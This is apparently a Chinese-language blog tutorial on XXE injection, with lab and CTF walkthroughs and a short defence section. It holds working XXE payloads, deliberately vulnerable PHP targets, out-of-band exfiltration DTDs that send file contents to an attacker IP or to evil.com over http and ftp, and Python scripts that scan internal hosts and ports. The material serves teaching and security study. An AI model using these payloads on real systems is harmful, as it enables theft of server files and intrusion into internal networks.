文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-02-26   5.1k

Web安全学习之XXE漏洞利用

什么是XXE

XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击(那为啥不叫XEE)。对于 XXE 想要真正的了解它,就需要先来了解一下XML是什么。

XML(Extensible Markup Language)英文直译就是可扩展标记语言,“标记” 是指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种信息的文章等。

如果把 HTML 和 XML 进行对比的话, HTML 旨在显示数据信息,而 XML 旨在传输数据信息。(说到传输数据自然而然肯定会想到json格式,相比XML,现在用的更多是json格式来传输数据)

XML基本知识

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<note>
<to>ca01h</to>
<from>njupt</from>xml
</note>

在上面代码中的第一行,定义XML的版本与编码。

在XML文档中,所有的元素都必须正确的嵌套,形成树形结构。并且整个XML文档中必须要有一个根元素。如上代码,<note>是整个文档的根元素。嵌套在note标签中的<to><from>则是根的子元素。

同时,所有的XML元素都必须有关闭标签,这点不像html语法那样松散。如果缺失关闭标签,则会导致XML解析失败。

实体

所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA CDATA)构成。这里着重介绍一下实体:实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体引用是对实体的引用。实体可在内部或外部进行声明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的。

实体总共有四种,分别是:

  • 内置实体 (Built-in entities)

  • 字符实体 (Character entities)

  • 通用实体 (General entities)

  • 参数实体 (Parameter entities)

其中内置实体和字符实体都和 HTML 的实体编码类似,但如果从另一个角度看,实体完全可以分成两个派别:通用实体和参数实体。

DTD

XML的语言规范是由DTD(Document Type Definition)来控制,类似编程语言的语法,它定义了XML文档的合法构建模块,即声明了XML的内容格式规范。

DTD 的声明方式分为两种:内部 DTD 和外部 DTD ,其区别就在于:对 XML 文档中的元素、属性和实体的 DTD 的声明是在 XML 文档内部引用还是引用外部的 dtd 文件。

内部引用

下面是一个内部DTD的XML示例:

1
2
3
4
5
6
7
8
9
10
11
12
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--DTD,文档类型声明-->
<!DOCTYPE note [ #定义此文档是note类型
<!ELEMENT note (body)> #定义note元素有一个元素:"body"
<!ELEMENT body (#PCDATA)> #定义body元素为"#PCDATA"类型
<!ENTITY writer "hello world"> #定义一个内部实体
]>
<!--文档元素-->
<note>
<body>&writer;</body>
</note>

上面第7行定义了一个内部实体,第11行中对上面定义的writer实体进行了引用,到时候输出的时候&writer就会被"hello world"替换。

1
<!ENTITY 实体名称 "实体的值">

一个实体由三部分构成:&符号, 实体名称, 分号 (😉,这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号

外部引用

通用实体

下面再来看看一个外部DTD的XML示例:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY > #定义元素为ANY,即可以接受任何元素。
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<root>
<body>&xxe;</body> #定义一个外部实体
</root>

通过第 4 行的定义, 第 7 行的 &xxe 就会对 c:/test.dtd 文件资源进行 SYSTEM 关键字的引用,这样对引用资源所做的任何更改都会在文档中自动更新。

另外除了上面 SYSTEM 关键字的引用方式,还有一种引用方式是使用 PUBLIC 引用公用 DTD 的方式,语法如下:

1
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

这个在我们的攻击中也可以起到和 SYSTEM 一样的作用,但实际上实体远不止这一种,我们以上涉及的实体只是其中的一种,被称为通用实体。

参数实体
1
2
3
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

在上面的代码示例中,可以看到实体名前多了一个 “%” ,在参数实体中使用 “% 实体名” (这里面的空格不能少) 定义,并且只能在 DTD 中使用 “% 实体名” 引用。

另外和通用实体一样,参数实体也可以外部引用,同时只有在 DTD 文件中,参数实体的声明才能引用其他实体。

XML注入

下面是一个普通的XML注入例子:

1
2
3
# 注入前XML代码
<?xml version="1.0" encoding="UTF-8">
<USER role="admin">用户输入位置</USER>

当用户输入一些恶意代码,比如User1</USER><USER role="admin">User2,原XML代码就变成了下面的样子:

1
2
3
4
# 注入后XML代码
<?xml version="1.0" encoding="UTF-8">
<USER role="admin">User1</USER>
<USER role="admin">User2</USER>

可以看到通过XML语句的前后拼接, XML代码被插入了进去。

对普通的 XML 注入,利用面比较狭窄,现实中也是比较鸡肋的存在,因此几乎用不到,如果有的话应该也是逻辑漏洞,下面就重点介绍XXE的利用。

XXE利用

实验环境

目标靶机:

IP:192.168.0.104

环境:Win7+phpStudy+apache+php

本地主机:

IP:192.168.0.108

环境:Win10+phpStudy+apache+BurpSuite+Python3

有回显读本地敏感文件(Normal XXE)

目标靶机:xxe_test.php

1
2
3
4
5
6
7
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom); echo $creds;
?>

在C盘下新建一个flag.txt,内容我设置成了XXE Payload Executed Successfully!!!

本地主机:payload

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/flag.txt">
]>
<creds>&goodies;</creds>

如果flag.txt中包含特殊符号,比如<>&"'等,例如:

1
<XXE Payload Executed Successfully!!!>

可以看到当被读取文件中含有特殊符号时,返回了一堆错误,这个时候就需要使用CDATA了。(当然,更简单的使用base64编码)

什么是CDATA:

CDATA,意为character data,是标记语言SGML与XML,表示文档的特定部分是普通的字符数据,而不是非字符数据或有特定、限定结构的字符数据。在XML文档或外部实体中,一个CDATA section是一段按字面解释的内容,不作为标记文本。字符用CDATA节表示或者按照标准语法表示,并无差异。

CDATA 部分由"<![CDATA["开始,由"]]>"结束

简单一点的来说,将脚本代码定义为CDATA后,CDATA部分中的内容就会被解析器忽略,这个时候就可以读取文件了。

本地主机:CDATA Payload

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///c:/flag.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.0.109/evil.dtd"> %dtd;]>
<roottag>&all;</roottag>

本地主机:evil.dtd

1
2
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

利用带有CDATA的Payload,可以看到特殊符号被成功绕过。

但是在真实情况下,服务器上的XML一般用于配置文件或者传输数据,而不是显示数据,因此在现实环境下利用这个漏洞就需要找到不依靠回显的方法。

无回显读取本地敏感文件(Blind XEE)

payload1

目标靶机:xxe_blind_test.php

1
2
3
4
5
6
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

本地主机:Payload

1
2
3
4
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.0.109/evil.dtd">
%remote;%int;%send;
]>

本地主机:evil.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/flag.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://47.97.199.89:9999?p=%file;'>">

结果如下:

看到服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也是为了不破坏原本的XML语法,不编码会报错)。

目标靶机的网络出了点问题,IP地址换成了192.168.50.130

现在我们再来回顾一下Payload的调用过程:

连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 evil.dtd ,有点类似于将 evil.dtd 包含进来,然后 %int 调用 evil.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 &#37;),我们再调用 %send; 把我们的读取到的数据发送到我们的远程服务器上,这样就实现了外带数据的效果,解决了 XXE 无回显的问题。

payload2

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://TEST.txt">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>

在我的vps的xxe.xml的内容如下:

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;'>">

而测试文件TEST.txt内容为:

1
chybeta

整个的调用过程如下:解析时%dtd引入xxe.xml,之后%all引入send的定义,最后引用了实体send,把%file文件内容通过一个http请求发了出去。注意需要把payload经过url编码。查看vps上的access.log:

img

若要读取php等文件,同样需要先经过base64加密下。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>

思考

我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。

所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议:

HTTP内网探测主机

下面是探测脚本inhostscan.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import base64
def XXE(ip,string):
try:
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
x = requests.post('http://192.168.50.132/xxe_blind_test.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2]
print(' [+]',ip,'Successfully Found !!!')
except:
print(' [-]',ip,'Error Not Found !!!')
pass

if __name__ == '__main__':
headers = {'Content-Type':'application/xml'}
for i in range(1,255):
ip = '192.168.50.' + str(i)
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
XXE(ip,string)

注意替换一下IP地址的网段。这个脚本跑的确实很慢,结果如下:

1
2
3
4
5
6
7
8
[+] 192.168.50.1 Successfully Found !!!
...
...
[-] 192.168.50.130 Error Not Found !!!
[-] 192.168.50.131 Error Not Found !!!
[+] 192.168.50.132 Successfully Found !!!
[+] 192.168.50.133 Successfully Found !!!
...

HTTP内网主机探测端口

找到了内网的主机,还需要对其端口进行扫描,原理和上面一致,只不过IP固定,遍历端口,我们先用Burp Suite看一下端口开放和关闭的response有什么不同:

如果端口是关闭的,一般都会返回Connection refuse。

下面放出Payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import base64
def XXE(port):
xml = """<?xml version="1.0" encoding="utf-8"?> """
xml = xml + "\r\n" + """<!DOCTYPE data SYSTEM "http://192.168.50.132:""" + str(port) + """/" ["""
xml = xml + "\r\n" + """<!ELEMENT data (#PCDATA)> """
xml = xml + "\r\n" + """]>"""
xml = xml + "\r\n" + """<data>7</data>"""
r = requests.post('http://192.168.50.132/xxe_blind_test.php', data=xml,timeout=5)
#print(port,r.elapsed.total_seconds())
if ("Connection refused" in r.text):
print(" [-]", port, " seems shut down")
else:
print(" [+]", port, "is up")

if __name__ == '__main__':
for i in range(9080,9082):
XXE(i)

笔者测试发现不同的环境,结果可能会不一样,因此可能需要不同的payload进行端口扫描,这个需要具体结合代码和测试结果来敲定一个有效的payload。

如何挖掘XXE漏洞

常用检测方法

首先查看XML是否可以成功解析

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [
<!ENTITY name "test1">]>
<root>&name;</root>

如果页面输出了test1,则可以解析XML。

第二步查看是否支持DTD引用外部实体:

1
2
3
4
5
<?xml version=”1.0” encoding=”UTF-8”?>  
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://myhost/index.html">
%name;
]>

然后在我的服务器上查看日志,如果有目标服务器向我的服务器发送了一条index.html的请求,说明
支持引用外部实体,很有可能存在xxe漏洞。

外部普通实体

当有回显时,利用file://协议:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123456</password></user>

外部参数实体

当无回显,使用http协议:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY % lltest SYSTEM "http://myhost:1234/test_xxe">
%lltest;
]>

然后在myhost监听1234端口(dnslog地址也可以),查看是否有http请求。

Json Content-type XXE

很多Web与App应用都是基于客户端-服务器交互的Web通信服务,最常见的数据格式就是Json与XML,尽管web服务可能只使用一种格式,但是服务器却可以接收开发人员没有料到的其他数据格式,有可能导致Json节点受到XXE攻击。
测试方法很简单,就是将Content-Type: application/json修改为Content-Type: application/xml,数据格式不变,查看是否报错:
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
可以发现服务器是可以处理xml数据的,于是我们利用这个来进行攻击。
payload:

1
2
3
4
5
6
7
8
9
...
Content-Type: application/xml
...
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<param1>name</param1>
<param2>&xxe;</param2>
</root>

查看是否可以读取敏感文件。

利用FTP协议获取敏感信息

利用ftp协议获取服务器信息/内网ip之类的技巧:
在攻击者服务器上运行rb脚本(模拟FTP服务器:https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb),监听8080端口。
然后在web程序那里输入payload:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://evil.com/ext.dtd">
%asd;
%rrr;
]>
<a></a>

ext.dtd

1
2
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://evil.com:8000/%b;'>">

然后在模拟的FTP服务器上就会收到一些服务器信息/文件内容

技巧来自:http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html

Bypass

1
2
3
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"

XXE如何防御

1、使用开发语言提供的禁用外部实体的方法
php:

1
libxml_disable_entity_loader(true);

java:

1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、过滤用户提交的XML数据
过滤关键字:<\!DOCTYPE<\!ENTITY,或者SYSTEMPUBLIC
3、不允许XML中含有自己定义的DTD

CTF中的XXE

api调用

题目地址:http://web.jarvisoj.com:9882/

题目描述:请设法获得目标机器/home/ctf/flag.txt中的flag值。

Fake XML Cookbook

题目地址:https://buuoj.cn/challenges

题目说明:

1
2
3
4
5
==Difficulty: easy==

flag is in /flag

==Author zjy==

exp:

1
2
3
4
5
6
7
8
9
10
11
import requests
url = "http://127.0.0.1/php_xxe/doLogin.php"

payload = '''<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY foo SYSTEM "file:///flag">]>
<user><username>&foo;</username><password>0</password></user>
'''

r = requests.post(url,data=payload,headers={'Content-Type':'text/xml'})
print r.text

True XML cookbook

[CSAWQual 2019]Web_Unagi

使用utf-16编码绕过WAF上传xml文件读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version='1.0' encoding="utf-16"?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>Bob</username>
<password>passwd2</password>
<name> &xxe;</name>
<email>[email protected]</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>

utf-16编码

上传

Update

https://www.freebuf.com/vuls/207639.html

无法引用外部DTD文件的前提下,无回显利用XXE注入:

引用内部实体

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
&#x25;eval;
&#x25;send;
'>
%remote;
]>
<message>1234</message>

三层嵌套

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
&#x25;para2;
'>
%para;
]>
<message>10</message

Reference

xxe injector tool:https://github.com/enjoiz/XXEinjector

XXE payload list:https://github.com/payloadbox/xxe-injection-payload-list

一篇文章带你深入理解漏洞之 XXE 漏洞

XXE漏洞总结

XXE学习笔记

XXE实体注入

Blind XXE经典payload引发的脑洞

Copyright © ca01h 2019-2020 | 本站总访问量